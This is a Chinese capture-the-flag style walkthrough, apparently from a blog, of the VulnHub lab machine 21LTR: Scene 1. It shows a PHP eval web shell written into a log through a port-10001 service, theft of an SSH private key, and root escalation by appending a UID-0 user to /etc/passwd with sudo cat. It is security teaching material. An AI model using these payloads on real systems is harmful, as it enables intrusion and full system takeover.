21LTR:Scene1超详细靶机实战

靶机下载链接:

https://www.vulnhub.com/entry/21ltr-scene-1,3/

一、靶机搭建

设置网卡模式为仅主机

 开机后ip地址在终端显示

 ip地址为192.168.2.120

二、端口扫描

注意将kali也添加一个仅主机模式,与靶机设置在同一网段下

nmap 192.168.2.120

发现开启21、22、80、10001端口

三、访问80端口

扫描个目录看看

 未发现有用的信息

我们F12查看页面源码可以发现一个用户和密码

logs             #账号
zg]E-b0]+8:(58G  #密码

 尝试用该账号连接ssh服务和ftp服务,成功连接ftp服务

ls命令查看有一个文件

我们将其下载到本地查看

get backup_log.php /home/kali/Desktop/1.php
cat 1.php

 发现是日志文件

我们想起来刚刚目录探测有一个logs目录,我们尝试访问

四、get shell

考虑到是日志文件,我们可以尝试将一句话木马写到日志文件中获取shell

这里利用10001端口写入

telnet 192.168.2.120 10001
<?php eval($_POST[hack]);?>

 

再次查看日志,发现写入成功

 用蚁剑连接

连接成功

查看/etc/passwd的敏感信息

考虑到有ssh服务,我们可以使用密钥免密登录

读取密钥 /media/USB_1/Stuff/Keys/id_rsa

将其保存到本机上

 用finalshell选择密钥连接

连接成功

五、提权

sudo -l

发现不需要密码的只有cat命令,我们就用它去提权

我们想到可以利用cat命令进行高权限用户写入

写入一个高权限用户到/etc/passwd

openssl passwd 123456

先用kali生成加密后的密码

 然后新用户的格式为

newroot:$1$J1DRKiec$c6CXi9UUFTMKwHS6lk3bI1:0:0:/root:/bin/bash

 将newroot用户写入到/etc/passwd

sudo /usr/bin/cat >> /etc/passwd

然后切换用户

su newroot

提权成功!

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值